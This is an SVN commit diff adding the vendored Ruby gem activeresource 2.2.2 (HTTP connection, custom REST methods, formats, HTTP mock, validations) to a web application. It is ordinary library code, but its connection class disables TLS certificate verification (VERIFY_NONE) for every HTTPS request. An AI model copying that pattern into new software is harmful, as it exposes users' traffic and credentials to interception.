+      :put => 'Content-Type',
+      :post => 'Content-Type',
+      :delete => 'Accept'
+    }
+
+    attr_reader :site, :user, :password, :timeout
+    attr_accessor :format
+
+    class << self
+      def requests
+        @@requests ||= []
+      end
+    end
+
+    # The +site+ parameter is required and will set the +site+
+    # attribute to the URI for the remote resource service.
+    def initialize(site, format = ActiveResource::Formats[:xml])
+      raise ArgumentError, 'Missing site URI' unless site
+      @user = @password = nil
+      self.site = site
+      self.format = format
+    end
+
+    # Set URI for remote service.
+    def site=(site)
+      @site = site.is_a?(URI) ? site : URI.parse(site)
+      @user = URI.decode(@site.user) if @site.user
+      @password = URI.decode(@site.password) if @site.password
+    end
+
+    # Set user for remote service.
+    def user=(user)
+      @user = user
+    end
+
+    # Set password for remote service.
+    def password=(password)
+      @password = password
+    end
+
+    # Set the number of seconds after which HTTP requests to the remote service should time out.
+    def timeout=(timeout)
+      @timeout = timeout
+    end
+
+    # Execute a GET request.
+    # Used to get (find) resources.
+    def get(path, headers = {})
+      format.decode(request(:get, path, build_request_headers(headers, :get)).body)
+    end
+
+    # Execute a DELETE request (see HTTP protocol documentation if unfamiliar).
+    # Used to delete resources.
+    def delete(path, headers = {})
+      request(:delete, path, build_request_headers(headers, :delete))
+    end
+
+    # Execute a PUT request (see HTTP protocol documentation if unfamiliar).
+    # Used to update resources.
+    def put(path, body = '', headers = {})
+      request(:put, path, body.to_s, build_request_headers(headers, :put))
+    end
+
+    # Execute a POST request.
+    # Used to create new resources.
+    def post(path, body = '', headers = {})
+      request(:post, path, body.to_s, build_request_headers(headers, :post))
+    end
+
+    # Execute a HEAD request.
+    # Used to obtain meta-information about resources, such as whether they exist and their size (via response headers).
+    def head(path, headers = {})
+      request(:head, path, build_request_headers(headers))
+    end
+
+
+    private
+      # Makes request to remote service.
+      def request(method, path, *arguments)
+        logger.info "#{method.to_s.upcase} #{site.scheme}://#{site.host}:#{site.port}#{path}" if logger
+        result = nil
+        time = Benchmark.realtime { result = http.send(method, path, *arguments) }
+        logger.info "--> %d %s (%d %.2fs)" % [result.code, result.message, result.body ? result.body.length : 0, time] if logger
+        handle_response(result)
+      rescue Timeout::Error => e
+        raise TimeoutError.new(e.message)
+      end
+
+      # Handles response and error codes from remote service.
+      def handle_response(response)
+        case response.code.to_i
+          when 301,302
+            raise(Redirection.new(response))
+          when 200...400
+            response
+          when 400
+            raise(BadRequest.new(response))
+          when 401
+            raise(UnauthorizedAccess.new(response))
+          when 403
+            raise(ForbiddenAccess.new(response))
+          when 404
+            raise(ResourceNotFound.new(response))
+          when 405
+            raise(MethodNotAllowed.new(response))
+          when 409
+            raise(ResourceConflict.new(response))
+          when 422
+            raise(ResourceInvalid.new(response))
+          when 401...500
+            raise(ClientError.new(response))
+          when 500...600
+            raise(ServerError.new(response))
+          else
+            raise(ConnectionError.new(response, "Unknown response code: #{response.code}"))
+        end
+      end
+
+      # Creates new Net::HTTP instance for communication with
+      # remote service and resources.
+      def http
+        http             = Net::HTTP.new(@site.host, @site.port)
+        http.use_ssl     = @site.is_a?(URI::HTTPS)
+        http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl
+        http.read_timeout = @timeout if @timeout # If timeout is not set, the default Net::HTTP timeout (60s) is used.
+        http
+      end
+
+      def default_header
+        @default_header ||= {}
+      end
+
+      # Builds headers for request to remote service.
+      def build_request_headers(headers, http_method=nil)
+        authorization_header.update(default_header).update(http_format_header(http_method)).update(headers)
+      end
+
+      # Sets authorization header
+      def authorization_header
+        (@user || @password ? { 'Authorization' => 'Basic ' + ["#{@user}:#{ @password}"].pack('m').delete("\r\n") } : {})
+      end
+
+      def http_format_header(http_method)
+        {HTTP_FORMAT_HEADER_NAMES[http_method] => format.mime_type}
+      end
+
+      def logger #:nodoc:
+        Base.logger
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/custom_methods.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/custom_methods.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/custom_methods.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,120 @@
+module ActiveResource
+  # A module to support custom REST methods and sub-resources, allowing you to break out
+  # of the "default" REST methods with your own custom resource requests.  For example,
+  # say you use Rails to expose a REST service and configure your routes with:
+  #
+  #    map.resources :people, :new => { :register => :post },
+  #                           :member => { :promote => :put, :deactivate => :delete }
+  #                           :collection => { :active => :get }
+  #
+  #  This route set creates routes for the following HTTP requests:
+  #
+  #    POST    /people/new/register.xml # PeopleController.register
+  #    PUT     /people/1/promote.xml    # PeopleController.promote with :id => 1
+  #    DELETE  /people/1/deactivate.xml # PeopleController.deactivate with :id => 1
+  #    GET     /people/active.xml       # PeopleController.active
+  #
+  # Using this module, Active Resource can use these custom REST methods just like the
+  # standard methods.
+  #
+  #   class Person < ActiveResource::Base
+  #     self.site = "http://37s.sunrise.i:3000"
+  #   end
+  #
+  #   Person.new(:name => 'Ryan).post(:register)  # POST /people/new/register.xml
+  #   # => { :id => 1, :name => 'Ryan' }
+  #
+  #   Person.find(1).put(:promote, :position => 'Manager') # PUT /people/1/promote.xml
+  #   Person.find(1).delete(:deactivate) # DELETE /people/1/deactivate.xml
+  #
+  #   Person.get(:active)  # GET /people/active.xml
+  #   # => [{:id => 1, :name => 'Ryan'}, {:id => 2, :name => 'Joe'}]
+  #
+  module CustomMethods
+    def self.included(base)
+      base.class_eval do
+        extend ActiveResource::CustomMethods::ClassMethods
+        include ActiveResource::CustomMethods::InstanceMethods
+
+        class << self
+          alias :orig_delete :delete
+
+          # Invokes a GET to a given custom REST method. For example:
+          #
+          #   Person.get(:active)  # GET /people/active.xml
+          #   # => [{:id => 1, :name => 'Ryan'}, {:id => 2, :name => 'Joe'}]
+          #
+          #   Person.get(:active, :awesome => true)  # GET /people/active.xml?awesome=true
+          #   # => [{:id => 1, :name => 'Ryan'}]
+          #
+          # Note: the objects returned from this method are not automatically converted
+          # into ActiveResource::Base instances - they are ordinary Hashes. If you are expecting
+          # ActiveResource::Base instances, use the <tt>find</tt> class method with the
+          # <tt>:from</tt> option. For example:
+          #
+          #   Person.find(:all, :from => :active)
+          def get(custom_method_name, options = {})
+            connection.get(custom_method_collection_url(custom_method_name, options), headers)
+          end
+
+          def post(custom_method_name, options = {}, body = '')
+            connection.post(custom_method_collection_url(custom_method_name, options), body, headers)
+          end
+
+          def put(custom_method_name, options = {}, body = '')
+            connection.put(custom_method_collection_url(custom_method_name, options), body, headers)
+          end
+
+          def delete(custom_method_name, options = {})
+            # Need to jump through some hoops to retain the original class 'delete' method
+            if custom_method_name.is_a?(Symbol)
+              connection.delete(custom_method_collection_url(custom_method_name, options), headers)
+            else
+              orig_delete(custom_method_name, options)
+            end
+          end
+        end
+      end
+    end
+
+    module ClassMethods
+      def custom_method_collection_url(method_name, options = {})
+        prefix_options, query_options = split_options(options)
+        "#{prefix(prefix_options)}#{collection_name}/#{method_name}.#{format.extension}#{query_string(query_options)}"
+      end
+    end
+
+    module InstanceMethods
+      def get(method_name, options = {})
+        connection.get(custom_method_element_url(method_name, options), self.class.headers)
+      end
+
+      def post(method_name, options = {}, body = nil)
+        request_body = body.blank? ? encode : body
+        if new?
+          connection.post(custom_method_new_element_url(method_name, options), request_body, self.class.headers)
+        else
+          connection.post(custom_method_element_url(method_name, options), request_body, self.class.headers)
+        end
+      end
+
+      def put(method_name, options = {}, body = '')
+        connection.put(custom_method_element_url(method_name, options), body, self.class.headers)
+      end
+
+      def delete(method_name, options = {})
+        connection.delete(custom_method_element_url(method_name, options), self.class.headers)
+      end
+
+
+      private
+        def custom_method_element_url(method_name, options = {})
+          "#{self.class.prefix(prefix_options)}#{self.class.collection_name}/#{id}/#{method_name}.#{self.class.format.extension}#{self.class.__send__(:query_string, options)}"
+        end
+
+        def custom_method_new_element_url(method_name, options = {})
+          "#{self.class.prefix(prefix_options)}#{self.class.collection_name}/new/#{method_name}.#{self.class.format.extension}#{self.class.__send__(:query_string, options)}"
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/formats/json_format.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/formats/json_format.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/formats/json_format.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+module ActiveResource
+  module Formats
+    module JsonFormat
+      extend self
+
+      def extension
+        "json"
+      end
+
+      def mime_type
+        "application/json"
+      end
+
+      def encode(hash, options={})
+        hash.to_json(options)
+      end
+
+      def decode(json)
+        ActiveSupport::JSON.decode(json)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/formats/xml_format.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/formats/xml_format.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/formats/xml_format.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,34 @@
+module ActiveResource
+  module Formats
+    module XmlFormat
+      extend self
+
+      def extension
+        "xml"
+      end
+
+      def mime_type
+        "application/xml"
+      end
+
+      def encode(hash, options={})
+        hash.to_xml(options)
+      end
+
+      def decode(xml)
+        from_xml_data(Hash.from_xml(xml))
+      end
+
+      private
+        # Manipulate from_xml Hash, because xml_simple is not exactly what we
+        # want for Active Resource.
+        def from_xml_data(data)
+          if data.is_a?(Hash) && data.keys.size == 1
+            data.values.first
+          else
+            data
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/formats.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/formats.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/formats.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+module ActiveResource
+  module Formats
+    # Lookup the format class from a mime type reference symbol. Example:
+    #
+    #   ActiveResource::Formats[:xml]  # => ActiveResource::Formats::XmlFormat
+    #   ActiveResource::Formats[:json] # => ActiveResource::Formats::JsonFormat
+    def self.[](mime_type_reference)
+      ActiveResource::Formats.const_get(mime_type_reference.to_s.camelize + "Format")
+    end
+  end
+end
+
+require 'active_resource/formats/xml_format'
+require 'active_resource/formats/json_format'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/http_mock.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/http_mock.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/http_mock.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,217 @@
+require 'active_resource/connection'
+
+module ActiveResource
+  class InvalidRequestError < StandardError; end #:nodoc:
+
+  # One thing that has always been a pain with remote web services is testing.  The HttpMock
+  # class makes it easy to test your Active Resource models by creating a set of mock responses to specific
+  # requests.
+  #
+  # To test your Active Resource model, you simply call the ActiveResource::HttpMock.respond_to
+  # method with an attached block.  The block declares a set of URIs with expected input, and the output
+  # each request should return.  The passed in block has any number of entries in the following generalized
+  # format:
+  #
+  #   mock.http_method(path, request_headers = {}, body = nil, status = 200, response_headers = {})
+  #
+  # * <tt>http_method</tt> - The HTTP method to listen for.  This can be +get+, +post+, +put+, +delete+ or
+  #   +head+.
+  # * <tt>path</tt> - A string, starting with a "/", defining the URI that is expected to be
+  #   called.
+  # * <tt>request_headers</tt> - Headers that are expected along with the request.  This argument uses a
+  #   hash format, such as <tt>{ "Content-Type" => "application/xml" }</tt>.  This mock will only trigger
+  #   if your tests sends a request with identical headers.
+  # * <tt>body</tt> - The data to be returned.  This should be a string of Active Resource parseable content,
+  #   such as XML.
+  # * <tt>status</tt> - The HTTP response code, as an integer, to return with the response.
+  # * <tt>response_headers</tt> - Headers to be returned with the response.  Uses the same hash format as
+  #   <tt>request_headers</tt> listed above.
+  #
+  # In order for a mock to deliver its content, the incoming request must match by the <tt>http_method</tt>,
+  # +path+ and <tt>request_headers</tt>.  If no match is found an InvalidRequestError exception
+  # will be raised letting you know you need to create a new mock for that request.
+  #
+  # ==== Example
+  #   def setup
+  #     @matz  = { :id => 1, :name => "Matz" }.to_xml(:root => "person")
+  #     ActiveResource::HttpMock.respond_to do |mock|
+  #       mock.post   "/people.xml",   {}, @matz, 201, "Location" => "/people/1.xml"
+  #       mock.get    "/people/1.xml", {}, @matz
+  #       mock.put    "/people/1.xml", {}, nil, 204
+  #       mock.delete "/people/1.xml", {}, nil, 200
+  #     end
+  #   end
+  #   
+  #   def test_get_matz
+  #     person = Person.find(1)
+  #     assert_equal "Matz", person.name
+  #   end
+  #
+  class HttpMock
+    class Responder #:nodoc:
+      def initialize(responses)
+        @responses = responses
+      end
+
+      for method in [ :post, :put, :get, :delete, :head ]
+        module_eval <<-EOE, __FILE__, __LINE__
+          def #{method}(path, request_headers = {}, body = nil, status = 200, response_headers = {})
+            @responses[Request.new(:#{method}, path, nil, request_headers)] = Response.new(body || "", status, response_headers)
+          end
+        EOE
+      end
+    end
+
+    class << self
+
+      # Returns an array of all request objects that have been sent to the mock.  You can use this to check
+      # if your model actually sent an HTTP request.
+      #
+      # ==== Example
+      #   def setup
+      #     @matz  = { :id => 1, :name => "Matz" }.to_xml(:root => "person")
+      #     ActiveResource::HttpMock.respond_to do |mock|
+      #       mock.get "/people/1.xml", {}, @matz
+      #     end
+      #   end
+      #   
+      #   def test_should_request_remote_service
+      #     person = Person.find(1)  # Call the remote service
+      #     
+      #     # This request object has the same HTTP method and path as declared by the mock
+      #     expected_request = ActiveResource::Request.new(:get, "/people/1.xml")
+      #     
+      #     # Assert that the mock received, and responded to, the expected request from the model
+      #     assert ActiveResource::HttpMock.requests.include?(expected_request)
+      #   end
+      def requests
+        @@requests ||= []
+      end
+
+      # Returns a hash of <tt>request => response</tt> pairs for all all responses this mock has delivered, where +request+
+      # is an instance of ActiveResource::Request and the response is, naturally, an instance of
+      # ActiveResource::Response.
+      def responses
+        @@responses ||= {}
+      end
+
+      # Accepts a block which declares a set of requests and responses for the HttpMock to respond to. See the main
+      # ActiveResource::HttpMock description for a more detailed explanation.
+      def respond_to(pairs = {}) #:yields: mock
+        reset!
+        pairs.each do |(path, response)|
+          responses[path] = response
+        end
+
+        if block_given?
+          yield Responder.new(responses)
+        else
+          Responder.new(responses)
+        end
+      end
+
+      # Deletes all logged requests and responses.
+      def reset!
+        requests.clear
+        responses.clear
+      end
+    end
+
+    for method in [ :post, :put ]
+      module_eval <<-EOE, __FILE__, __LINE__
+        def #{method}(path, body, headers)
+          request = ActiveResource::Request.new(:#{method}, path, body, headers)
+          self.class.requests << request
+          self.class.responses[request] || raise(InvalidRequestError.new("No response recorded for \#{request}"))
+        end
+      EOE
+    end
+
+    for method in [ :get, :delete, :head ]
+      module_eval <<-EOE, __FILE__, __LINE__
+        def #{method}(path, headers)
+          request = ActiveResource::Request.new(:#{method}, path, nil, headers)
+          self.class.requests << request
+          self.class.responses[request] || raise(InvalidRequestError.new("No response recorded for \#{request}"))
+        end
+      EOE
+    end
+
+    def initialize(site) #:nodoc:
+      @site = site
+    end
+  end
+
+  class Request
+    attr_accessor :path, :method, :body, :headers
+
+    def initialize(method, path, body = nil, headers = {})
+      @method, @path, @body, @headers = method, path, body, headers.merge(ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[method] => 'application/xml')
+    end
+
+    def ==(other_request)
+      other_request.hash == hash
+    end
+
+    def eql?(other_request)
+      self == other_request
+    end
+
+    def to_s
+      "<#{method.to_s.upcase}: #{path} [#{headers}] (#{body})>"
+    end
+
+    def hash
+      "#{path}#{method}#{headers}".hash
+    end
+  end
+
+  class Response
+    attr_accessor :body, :message, :code, :headers
+
+    def initialize(body, message = 200, headers = {})
+      @body, @message, @headers = body, message.to_s, headers
+      @code = @message[0,3].to_i
+
+      resp_cls = Net::HTTPResponse::CODE_TO_OBJ[@code.to_s]
+      if resp_cls && !resp_cls.body_permitted?
+        @body = nil
+      end
+
+      if @body.nil?
+        self['Content-Length'] = "0"
+      else
+        self['Content-Length'] = body.size.to_s
+      end
+    end
+
+    def success?
+      (200..299).include?(code)
+    end
+
+    def [](key)
+      headers[key]
+    end
+
+    def []=(key, value)
+      headers[key] = value
+    end
+
+    def ==(other)
+      if (other.is_a?(Response))
+        other.body == body && other.message == message && other.headers == headers
+      else
+        false
+      end
+    end
+  end
+
+  class Connection
+    private
+      silence_warnings do
+        def http
+          @http ||= HttpMock.new(@site)
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/validations.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/validations.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/validations.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,274 @@
+module ActiveResource
+  class ResourceInvalid < ClientError  #:nodoc:
+  end
+
+  # Active Resource validation is reported to and from this object, which is used by Base#save
+  # to determine whether the object in a valid state to be saved. See usage example in Validations.  
+  class Errors
+    include Enumerable
+    attr_reader :errors
+
+    delegate :empty?, :to => :errors
+    
+    def initialize(base) # :nodoc:
+      @base, @errors = base, {}
+    end
+
+    # Add an error to the base Active Resource object rather than an attribute.
+    #
+    # ==== Examples
+    #   my_folder = Folder.find(1)
+    #   my_folder.errors.add_to_base("You can't edit an existing folder")
+    #   my_folder.errors.on_base
+    #   # => "You can't edit an existing folder"
+    #
+    #   my_folder.errors.add_to_base("This folder has been tagged as frozen")
+    #   my_folder.valid?
+    #   # => false
+    #   my_folder.errors.on_base
+    #   # => ["You can't edit an existing folder", "This folder has been tagged as frozen"]
+    #
+    def add_to_base(msg)
+      add(:base, msg)
+    end
+
+    # Adds an error to an Active Resource object's attribute (named for the +attribute+ parameter)
+    # with the error message in +msg+.
+    #
+    # ==== Examples
+    #   my_resource = Node.find(1)
+    #   my_resource.errors.add('name', 'can not be "base"') if my_resource.name == 'base'
+    #   my_resource.errors.on('name')
+    #   # => 'can not be "base"!'
+    #
+    #   my_resource.errors.add('desc', 'can not be blank') if my_resource.desc == ''
+    #   my_resource.valid?
+    #   # => false
+    #   my_resource.errors.on('desc')
+    #   # => 'can not be blank!'
+    #
+    def add(attribute, msg)
+      @errors[attribute.to_s] = [] if @errors[attribute.to_s].nil?
+      @errors[attribute.to_s] << msg
+    end
+
+    # Returns true if the specified +attribute+ has errors associated with it.
+    #
+    # ==== Examples
+    #   my_resource = Disk.find(1)
+    #   my_resource.errors.add('location', 'must be Main') unless my_resource.location == 'Main'
+    #   my_resource.errors.on('location')
+    #   # => 'must be Main!'
+    #
+    #   my_resource.errors.invalid?('location')
+    #   # => true
+    #   my_resource.errors.invalid?('name')
+    #   # => false
+    def invalid?(attribute)
+      !@errors[attribute.to_s].nil?
+    end
+
+    # A method to return the errors associated with +attribute+, which returns nil, if no errors are 
+    # associated with the specified +attribute+, the error message if one error is associated with the specified +attribute+,
+    # or an array of error messages if more than one error is associated with the specified +attribute+.
+    #
+    # ==== Examples
+    #   my_person = Person.new(params[:person])
+    #   my_person.errors.on('login')
+    #   # => nil
+    #
+    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
+    #   my_person.errors.on('login')
+    #   # => 'can not be empty'
+    #
+    #   my_person.errors.add('login', 'can not be longer than 10 characters') if my_person.login.length > 10
+    #   my_person.errors.on('login')
+    #   # => ['can not be empty', 'can not be longer than 10 characters']
+    def on(attribute)
+      errors = @errors[attribute.to_s]
+      return nil if errors.nil?
+      errors.size == 1 ? errors.first : errors
+    end
+    
+    alias :[] :on
+
+    # A method to return errors assigned to +base+ object through add_to_base, which returns nil, if no errors are 
+    # associated with the specified +attribute+, the error message if one error is associated with the specified +attribute+,
+    # or an array of error messages if more than one error is associated with the specified +attribute+.
+    #
+    # ==== Examples
+    #   my_account = Account.find(1)
+    #   my_account.errors.on_base
+    #   # => nil
+    #
+    #   my_account.errors.add_to_base("This account is frozen")
+    #   my_account.errors.on_base
+    #   # => "This account is frozen"
+    #
+    #   my_account.errors.add_to_base("This account has been closed")
+    #   my_account.errors.on_base
+    #   # => ["This account is frozen", "This account has been closed"]
+    #
+    def on_base
+      on(:base)
+    end
+
+    # Yields each attribute and associated message per error added.
+    #
+    # ==== Examples
+    #   my_person = Person.new(params[:person])
+    #
+    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
+    #   my_person.errors.add('password', 'can not be empty') if my_person.password == ''
+    #   messages = ''
+    #   my_person.errors.each {|attr, msg| messages += attr.humanize + " " + msg + "<br />"}
+    #   messages
+    #   # => "Login can not be empty<br />Password can not be empty<br />"
+    #
+    def each
+      @errors.each_key { |attr| @errors[attr].each { |msg| yield attr, msg } }
+    end
+
+    # Yields each full error message added. So Person.errors.add("first_name", "can't be empty") will be returned
+    # through iteration as "First name can't be empty".
+    #
+    # ==== Examples
+    #   my_person = Person.new(params[:person])
+    #
+    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
+    #   my_person.errors.add('password', 'can not be empty') if my_person.password == ''
+    #   messages = ''
+    #   my_person.errors.each_full {|msg| messages += msg + "<br/>"}
+    #   messages
+    #   # => "Login can not be empty<br />Password can not be empty<br />"
+    #
+    def each_full
+      full_messages.each { |msg| yield msg }
+    end
+
+    # Returns all the full error messages in an array.
+    #
+    # ==== Examples
+    #   my_person = Person.new(params[:person])
+    #
+    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
+    #   my_person.errors.add('password', 'can not be empty') if my_person.password == ''
+    #   messages = ''
+    #   my_person.errors.full_messages.each {|msg| messages += msg + "<br/>"}
+    #   messages
+    #   # => "Login can not be empty<br />Password can not be empty<br />"
+    #
+    def full_messages
+      full_messages = []
+
+      @errors.each_key do |attr|
+        @errors[attr].each do |msg|
+          next if msg.nil?
+
+          if attr == "base"
+            full_messages << msg
+          else
+            full_messages << [attr.humanize, msg].join(' ')
+          end
+        end
+      end
+      full_messages
+    end
+
+    def clear
+      @errors = {}
+    end
+
+    # Returns the total number of errors added. Two errors added to the same attribute will be counted as such
+    # with this as well.
+    #
+    # ==== Examples
+    #   my_person = Person.new(params[:person])
+    #   my_person.errors.size
+    #   # => 0
+    #
+    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
+    #   my_person.errors.add('password', 'can not be empty') if my_person.password == ''
+    #   my_person.error.size
+    #   # => 2
+    #
+    def size
+      @errors.values.inject(0) { |error_count, attribute| error_count + attribute.size }
+    end
+
+    alias_method :count, :size
+    alias_method :length, :size
+    
+    # Grabs errors from the XML response.
+    def from_xml(xml)
+      clear
+      humanized_attributes = @base.attributes.keys.inject({}) { |h, attr_name| h.update(attr_name.humanize => attr_name) }
+      messages = Hash.from_xml(xml)['errors']['error'] rescue []
+      messages.each do |message|
+        attr_message = humanized_attributes.keys.detect do |attr_name|
+          if message[0, attr_name.size + 1] == "#{attr_name} "
+            add humanized_attributes[attr_name], message[(attr_name.size + 1)..-1]
+          end
+        end
+        
+        add_to_base message if attr_message.nil?
+      end
+    end
+  end
+  
+  # Module to support validation and errors with Active Resource objects. The module overrides
+  # Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned 
+  # in the web service response. The module also adds an +errors+ collection that mimics the interface 
+  # of the errors provided by ActiveRecord::Errors.
+  #
+  # ==== Example
+  #
+  # Consider a Person resource on the server requiring both a +first_name+ and a +last_name+ with a 
+  # <tt>validates_presence_of :first_name, :last_name</tt> declaration in the model:
+  #
+  #   person = Person.new(:first_name => "Jim", :last_name => "")
+  #   person.save                   # => false (server returns an HTTP 422 status code and errors)
+  #   person.valid?                 # => false
+  #   person.errors.empty?          # => false
+  #   person.errors.count           # => 1
+  #   person.errors.full_messages   # => ["Last name can't be empty"]
+  #   person.errors.on(:last_name)  # => "can't be empty"
+  #   person.last_name = "Halpert"  
+  #   person.save                   # => true (and person is now saved to the remote service)
+  #
+  module Validations
+    def self.included(base) # :nodoc:
+      base.class_eval do
+        alias_method_chain :save, :validation
+      end
+    end
+
+    # Validate a resource and save (POST) it to the remote web service.
+    def save_with_validation
+      save_without_validation
+      true
+    rescue ResourceInvalid => error
+      errors.from_xml(error.response.body)
+      false
+    end
+
+    # Checks for errors on an object (i.e., is resource.errors empty?).
+    # 
+    # ==== Examples
+    #   my_person = Person.create(params[:person])
+    #   my_person.valid?
+    #   # => true
+    #
+    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
+    #   my_person.valid?
+    #   # => false
+    def valid?
+      errors.empty?
+    end
+
+    # Returns the Errors object that holds all information about attribute error messages.
+    def errors
+      @errors ||= Errors.new(self)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/version.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/version.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/version.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+module ActiveResource
+  module VERSION #:nodoc:
+    MAJOR = 2
+    MINOR = 2
+    TINY  = 2
+
+    STRING = [MAJOR, MINOR, TINY].join('.')
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,44 @@
+#--
+# Copyright (c) 2006 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+begin
+  require 'active_support'
+rescue LoadError
+  activesupport_path = "#{File.dirname(__FILE__)}/../../activesupport/lib"
+  if File.directory?(activesupport_path)
+    $:.unshift activesupport_path
+    require 'active_support'
+  end
+end
+
+require 'active_resource/formats'
+require 'active_resource/base'
+require 'active_resource/validations'
+require 'active_resource/custom_methods'
+
+module ActiveResource
+  Base.class_eval do
+    include Validations
+    include CustomMethods
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/activeresource.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/activeresource.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/activeresource.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+require 'active_resource'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/abstract_unit.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/abstract_unit.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/abstract_unit.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+require 'test/unit'
+
+$:.unshift "#{File.dirname(__FILE__)}/../lib"
+require 'active_resource'
+require 'active_resource/http_mock'
+
+$:.unshift "#{File.dirname(__FILE__)}/../test"
+require 'setter_trap'
+
+ActiveResource::Base.logger = Logger.new("#{File.dirname(__FILE__)}/debug.log")
+
+def uses_gem(gem_name, test_name, version = '> 0')
+  require 'rubygems'
+  gem gem_name.to_s, version
+  require gem_name.to_s
+  yield
+rescue LoadError
+  $stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again."
+end
+
+# Wrap tests that use Mocha and skip if unavailable.
+unless defined? uses_mocha
+  def uses_mocha(test_name, &block)
+    uses_gem('mocha', test_name, '>= 0.5.5', &block)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/authorization_test.rb
